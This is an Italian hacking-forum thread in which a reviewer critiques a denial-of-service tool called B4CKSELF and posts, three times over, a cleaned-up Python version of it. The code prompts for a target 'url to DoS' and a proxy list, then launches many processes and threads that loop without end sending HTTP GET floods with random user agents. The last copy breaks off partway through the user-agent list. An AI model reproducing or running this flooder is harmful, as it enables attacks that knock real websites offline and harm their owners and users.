[B4CKSELF] (V5 , V4) [DOWNLOAD]

Stato
Discussione chiusa ad ulteriori risposte.
Ultima modifica:
Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.

Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.

Queste due parti:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')

Python:
while True:
            try:
                num_process = int(input('> Entern number of process[6]: '))
            except:
                num_process = 6
            break

possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:

Python:
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if ' ' not in o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)

poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.

Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.

Per finire, il codice completo è:

Python:
import os, threading, time, random, string, socket, multiprocessing

useragents = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]

class ProcessWorker(multiprocessing.Process):
    def __init__(self, url, array):
        multiprocessing.Process.__init__(self)
        self.url = url
        self.array = array

    def run(self):
        global url, array
        for i in range(100):
            Spammer(self.url, self.array).start()
 
class Spammer(threading.Thread):
 
    def __init__(self, url, array):
        global useragents
        threading.Thread.__init__(self)
        self.url = url
        self.list = array
        self.byte_get = '''GET  %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
    def run(self):
                proxies = random.choice(self.list).split(':')
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while True:
                    try:
                        sock.connect((proxies[0], int(proxies[1])))
                        sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
                        sock.send(self.byte_get.encode())
                    except socket.error:
                        print('Unable to send request') # ti serve pure per capire se il sito è offline
                        time.sleep(1)
 
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if ' ' not in o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)


def main():
    url = get_input_till_is_valid('> Enter url to DoS: ')

    while True:
        proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
        try:
            in_file = open(proxy_list,"r")
            array = []
            for i in in_file:
                array.append(i.split("/n")[0])
            break
        except IOError as e:
            print('Error while reading the text file')

    num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
 
    print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))

    time.sleep(2)
    for i in range(num_processes):
        ProcessWorker(url, array).start()
 
if __name__ == '__main__':
    main()

questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.
 
  • Mi piace
Reazioni: Max Fridman
Potevi mettere qualunque altra cosa come avatar - per esempio il logo di mylittlepony - ma la maschera di guy fawkes no.
Penso di essere, anzi, so di essere libero di poter postare qualsiasi avatar o commento o altro che io voglia, capisco anche il motivo della tua affermazione, possibilmente avrai pensato qualcosa del tipo "guarda qui un altro pischello che si sente un hacker non conoscendo l'abc dell'informatica". E' divertente vedere come la gente si soffermi così tanto sull'etichettare qualcuno o qualcosa, sapendo soltanto criticare.
Detto ciò, ho risolto il problema che avevo posto, grazie comunque :)
 
non mi funzionano i link come posso fare?

Fammi indovinare... Nella barra URL devi mettere questo pastebin.com/hDyiD7Qb e non questo pastebin.com/hDyiD7Qb v5
Ho ragione o no?


Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.

Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.

Questa parte:

Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:       
                print ('> Could not open specified url.')

non ha senso. Probabilmente hai provato senza successo a scrivere una parte di codice che ti serviva a controllare che l'utente abbia messo una valida stringa (quindi non vuota ecc.).
Può essere formalmente scritto così:

Python:
def is_int(s):
    try:
        int(s)
        return True
    except ValueError:
        return False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
       o = input(prompt)
        if is_string:
            if o: return str(o)
        else:
            if (is_int(o)): return int(o)

poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.

Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.

Per finire, il codice completo è:

Python:
import os, threading, time, random, string, socket, multiprocessing

useragents = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]

class ProcessWorker(multiprocessing.Process):
    def __init__(self, url, array):
        multiprocessing.Process.__init__(self)
        self.url = url
        self.array = array

    def run(self):
        global url, array
        for i in range(100):
            Spammer(self.url, self.array).start()
 
class Spammer(threading.Thread):
 
    def __init__(self, url, array):
        global useragents
        threading.Thread.__init__(self)
        self.url = url
        self.list = array
        self.byte_get = '''GET  %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
    def run(self):
                proxies = random.choice(self.list).split(':')
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while True:
                    try:
                        sock.connect((proxies[0], int(proxies[1])))
                        sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
                        sock.send(self.byte_get.encode())
                    except socket.error:
                        print('Unable to send request') # ti serve pure per capire se il sito è offline
                        time.sleep(1)
     
def is_int(s):
    try:
        int(s)
        return True
    except ValueError:
        return False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per gli interi
    while True:
       o = input(prompt)
        if is_string:
            if o: return str(o)
        else:
            if (is_int(o)): return int(o)


def main():
    url = get_input_till_is_valid('> Enter url to DoS: ')

    while True:
        proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
        try:
            in_file = open(proxy_list,"r")
            array = []
            for i in in_file:
                array.append(i.split("/n")[0])
            break
        except IOError as e:
            print('Error while reading the text file')

    num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
 
    print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))

    time.sleep(2)
    for i in range(num_processes):
        ProcessWorker(url, array).start()
 
if __name__ == '__main__':
    main()

questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.

Si , B4ckself per ora è finito come progetto, we are work on B4ckNet. New Project.
 
Ultima modifica:
Si , B4ckself per ora è finito come progetto, we are work on B4ckNet. New Project.
Ho fatto una modifica al codice, mi ero dimenticato di fare una cosa. Se funziona non dispiacerebbe a nessuno che tu inserisca la mia modifica sul post ufficiale, almeno potrebbero utilizzare la versione ottimizzata.
 
  • Mi piace
Reazioni: All3xJ
Ho fatto una modifica al codice, mi ero dimenticato di fare una cosa. Se funziona non dispiacerebbe a nessuno che tu inserisca la mia modifica sul post ufficiale, almeno potrebbero utilizzare la versione ottimizzata.
Figurati posta anche la tua versione migliorata, ma sempre con crediti e con la quota [UNOFFICIAL] E ovviamente non deve essere V6 , V7 ma una cosa "migliorata" di tale versione a cui tu hai lavorato, ovvero v4, v5
 
Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.

Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.

Queste due parti:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')

Python:
while True:
            try:
                num_process = int(input('> Entern number of process[6]: '))
            except:
                num_process = 6
            break

possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:

Python:
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)

poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.

Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.

Per finire, il codice completo è:

Python:
import os, threading, time, random, string, socket, multiprocessing

useragents = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
